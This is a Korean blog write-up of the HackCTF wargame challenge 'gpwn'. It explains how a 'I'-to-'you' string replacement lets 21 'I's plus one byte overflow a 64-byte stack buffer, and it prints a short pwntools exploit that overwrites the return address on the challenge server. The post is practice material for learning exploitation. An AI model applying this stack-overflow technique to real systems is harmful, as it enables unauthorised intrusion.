ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] gpwn
    Wargame/HackCTF 2019. 12. 29. 23:55

     

    문제를 풀다가 감이 안잡혀서 풀이를 본 문제이다.

    조금만 더 생각을 했더라면 풀 수 있었던 문제가 아니었을까ㅠㅜ

     

    'I'를 'you'로 바꿔주는 <replace> 함수의 동작 과정이 Ghidra에서 괴랄하게 나와있어서

    아마 반쯤 포기했던거 같다.

     

    나머지는 기존 문제들과 비슷하게 흘러갔다.

    stack 크기가 64인데 64 만큼 받기에 그냥 방법으로는 ret overwrite를 할 수 없다.

     

    'I' 1개가 'you'로 바뀌므로 3바이트가 된다. ret를 덮기 위해서는 64바이트가 필요하므로,

    21개를 넣어주게 되면, 63으로 불어난다. 거기에 'A'하나를 넣어주면 ret overwrite할 수 있다.

     

    exploit 코드는 다음과 같다.

    from pwn import *
    
    r = remote('ctf.j0n9hyun.xyz', 3011)
    #r = process('./gpwn')
    
    payload = ''
    payload += "I"*21
    payload += "A"
    payload += p32(0x08048f0d)
    
    r.sendline(payload)
    r.interactive()

     

    이 문제를 풀면서 또 느낀게 trick문제에 많이 약한거 같다는 생각을 했었다.

    다음엔 잘 풀 수 있겠지..?

    아마두

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] Look at me  (0) 2020.01.01
    [Pwnable] Random  (0) 2020.01.01
    [Reversing] BabyMIPS  (0) 2019.12.29
    [Cryptography] Smooth CipherText  (0) 2019.12.23
    [Reversing] Static  (0) 2019.12.04

    댓글

Designed by Tistory.